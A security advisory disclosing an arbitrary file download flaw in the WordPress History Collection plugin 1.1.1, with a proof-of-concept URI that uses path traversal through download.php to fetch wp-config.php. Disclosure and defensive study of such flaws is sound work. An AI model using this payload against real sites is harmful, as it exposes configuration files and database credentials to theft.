WordPress History Collection Plugin 'download.php' Arbitrary File Download Vulnerability
BID:75226
Info
WordPress History Collection Plugin 'download.php' Arbitrary File Download Vulnerability
| Bugtraq ID: | 75226 |
| Class: | Input Validation Error |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | Jun 16 2015 12:00AM |
| Updated: | Jun 16 2015 12:00AM |
| Credit: | Kuroi'SH |
| Vulnerable: |
WordPress History Collection 1.1.1 |
| Not Vulnerable: | |
Discussion
WordPress History Collection Plugin 'download.php' Arbitrary File Download Vulnerability
The History Collection plugin for WordPress is prone to a vulnerability that lets attackers download arbitrary files because the application fails to sufficiently sanitize user-supplied input.
An attacker can exploit this issue to download arbitrary files within the context of the web server process. Information obtained may aid in further attacks.
The History Collection plugin for WordPress is prone to a vulnerability that lets attackers download arbitrary files because the application fails to sufficiently sanitize user-supplied input.
An attacker can exploit this issue to download arbitrary files within the context of the web server process. Information obtained may aid in further attacks.
Exploit / POC
WordPress History Collection Plugin 'download.php' Arbitrary File Download Vulnerability
Attackers can use a browser to exploit this issue.
The following example URI is available:
http://www.exaple.com/simple-fields/wordpress/wp-content/plugins/history-collection/download.php?var=../../../wp-config.php
Attackers can use a browser to exploit this issue.
The following example URI is available:
http://www.exaple.com/simple-fields/wordpress/wp-content/plugins/history-collection/download.php?var=../../../wp-config.php